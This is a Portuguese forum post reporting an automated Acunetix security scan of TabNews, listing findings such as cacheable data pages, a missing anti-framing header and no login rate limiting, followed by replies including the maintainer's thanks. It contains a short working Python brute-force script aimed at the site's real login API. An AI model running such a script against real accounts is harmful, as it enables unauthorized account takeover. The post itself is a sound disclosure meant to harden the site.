Falhas de segurança no TabNews - Parte 2
Oi, olá! A 3 meses atrás eu fiz o post "Falhas de segurança no TabNews", onde eu usava a ferramenta: "Acunetix" para procurar automaticamente por falhas de segurança no TabNews e hoje resolvi fazer uma nova revisão em busca de falhas. Não pretendo detalhar os mesmos reports encontrados do post anterior, mas você poderá ver o primeiro post onde detalho a maioria.
Testando novamente a segurança do TabNews
O teste que fiz levou cerca de 1 hora para concluir, foram realizados 73,880 requests nesse meio tempo e o Acunetix indentificou cerca de 10 potenciais vulnerabilidades de segurança no TabNews, sendo a maioria delas já citadas no post anterior.
Vulnerabilidades informativas:
Vulnerabilidade informativas podem não ser classsificadas como vulnerabilidades em si, mas são falhas que caso o invasor saiba, ele pode usar elas para criar um ataque com mais precisão.
Todas as vulnerabilidades encontradas pelo Acunetix já foram citadas no post anterior, mas são elas:
- Entrada do tipo de senha com auto-preenchimento habilitado
- Referrer Policy Inseguro
- Práticas recomendadas de HTTP Strict Transport Security (HSTS)
- Content Security Policy (CSP) não implementado
Vulnerabilidades leves:
Vulnerabilidades leves são falhas geralmente com escopo limitado, mas, com um acesso especializado, interação do usuário ou circunstâncias que estão além do controle do invasor podem ser usados para que um ataque seja bem sucedido.
Em relação ao reporte anterior, o Acunetix achou mais duas potenciais vulnerabilidades de segurança no TabNews:
Páginas sensíveis que podem ser armazenadas em cache
Essa vulnerabilidade também foi reportada no report anterior como sendo um falso-positivo, porém, agora o Acunetix conseguiu achar mais páginas.
Descrição:
Foram encontradas uma ou mais páginas que podem conter possíveis informações confidenciais (por exemplo, um parâmetro de senha) e podem ser potencialmente armazenadas em cache. Mesmo em canais SSL seguros, dados confidenciais podem ser armazenados por proxies intermediários e terminadores SSL. Para evitar isso, um header cache-control deve ser especificado.
As página com cash seguem esse novo padrão: https://www.tabnews.com.br/_next/data/<id>/pt-br/<página>
O Acunetix encontrou dezenas de páginas dessas, taís como:
- https://www.tabnews.com.br/_next/data/vL5Fxfp0OuQ0G1p5fvstt/pt-br/ArthurMadureira.json?username=ArthurMadureira
- https://www.tabnews.com.br/_next/data/vL5Fxfp0OuQ0G1p5fvstt/pt-br/gugadeschamps/gitlab-estaria-estudando-excluir-repositorios-inativos-de-usuarios-gratuitas.json?username=gugadeschamps&slug=gitlab-estaria-estudando-excluir-repositorios-inativos-de-usuarios-gratuitas
- https://www.tabnews.com.br/_next/data/vL5Fxfp0OuQ0G1p5fvstt/pt-br/obrenoalvim/600-vagas-de-emprego.json?username=obrenoalvim&slug=600-vagas-de-emprego . . .
Não tem nada demais nessas páginas pelo que eu vi, mas decidi citar isso aqui mesmo porque achei interessante.
O impacto dessa vulnerabilidade:
Possível divulgação de informações confidenciais.
Como corrigir essa vulnerabilidade:
Acunetix recomenda evitar o cache adicionando "Cache Control: No-store" e "Pragma: no-cache" ao cabeçalho de resposta HTTP.
Ataque de adivinhação de senha da página de login
Descrição:
Uma ameaça comum que os desenvolvedores enfrentam é o ataque de adivinhação de senha conhecido como "ataque de força bruta". Um ataque de força bruta é uma tentativa de descobrir uma senha tentando sistematicamente todas as combinações possíveis de letras, números e símbolos até descobrir a única combinação correta que funciona.
A página de login do TabNews não tem nenhuma proteção contra ataques de adivinhação de senha (ataques de força bruta). O Acunetix recomenda a implementação de algum tipo de bloqueio da conta após um número definido de tentativas de senha incorretas.
O impacto dessa vulnerabilidade:
Um invasor pode tentar descobrir uma senha fraca tentando sistematicamente todas as combinações possíveis de letras, números e símbolos até descobrir a combinação correta que funciona.
Aqui está um exemplo de script em Python que pode explorar essa falha:
import requests, string
from itertools import combinations
HOST = 'https://www.tabnews.com.br/api/v1/sessions'
EMAIL = 'email@dominio.com.br'
MAXLENGTH = 8
for i in range(1, MAXLENGTH+1):
for j in combinations(string.ascii_letters + string.digits, i):
password = ''.join(j)
payload = {'email': EMAIL, 'password': password}
with requests.post(HOST, json=payload) as r:
if r.status_code == 200 or r.status_code == 201:
print('\033[92mSenha encontrada:\033[m', password)
break
else:
print('\033[91mSenha incorreta:\033[m', password)
continue
Como corrigir essa vulnerabilidade:
Recomenda-se implementar algum tipo de bloqueio da conta após um número definido de tentativas de senha incorretas ou algo como um captcha.
Referências:
Outra falha que ainda está presente nesse report é o Header Clickjacking: X-Frame-Options, citado no post anterior.
Vulnerabilidades médias
Vulnerabilidade médias são falhas que podem comprometer parcialmente a confidencialidade, integridade ou disponibilidade de um sistema de destino. Elas podem ser usadas em conjunto com outras vulnerabilidades para escalar um ataque.
O Acunetix não encontrou nenhum report de vulnerabilidades médias, a não ser a falha de Campo de senha enviado usando o método GET, que o Filipe Deschamps confirmou no post anterior que isso possa ser um falso-positivo do Acunetix, já que as informações de login são enviadas usando o método POST.
Vulnerabilidades graves
Vulnerabilidades graves são falhas que podem comprometer totalmente a confidencialidade, integridade ou disponibilidade de um sistema de destino. Muito provavelmente vão permitir escalada de ataque para outros sistemas na rede interna da aplicação vulnerável.
Nesse caso, o TabNews ainda não possui falhas graves atuais reportadas, segundo o Acunetix, o que ainda é muito bom!
E é isso, a maioria das vulnerabilidades encontradas não são tão prejudiciais assim, o que é muito bom. Porém, decidi voltar com esse post para ajudar a divulgar a cyber-segurança. Pretendo fazer mais testes no futuro, talvez com outros scanners, mas qualquer crítica é bem-vinda.
Obrigado por ter lido até aqui :)
Lengo, muito obrigado por ajudar a fazer o hardening do TabNews! Eu recebi os alertas aqui do meu lado e acabei até enviando um email para você no momento que deu para vincular a conta 🤝
Sobre o novo scan, na minha opinião o destaque ficou sobre o que você encontrou no cache que fica dentro do _next. Possivelmente não podemos desabilitar o cache desses estáticos, pois eles são usados para a feature de "navegação instantânea" do Next.js ao usar o componente Link.
Mas mesmo assim, o destaque fica por conta de percebermos que qualquer coisa injetada nas props após um getStaticProps pode ficar guardada nesse estático. Então nunca podemos injetar nada de sensível, mesmo que isso supostamente só seja processado no backend pelo método getStaticProps. Nesse método você pode e deve lidar com informações sensíveis, mas nunca pode injetar isso no componente principal, pois novamente, irá ficar no cache do _next.
Sensacional e vamos ficar de olho 🤝
Que massa em saber disso. Não sou o único então que pensou em verificar essa parte de segurança. Parabéns Lengo. Vou ficar de olho nas suas publicações.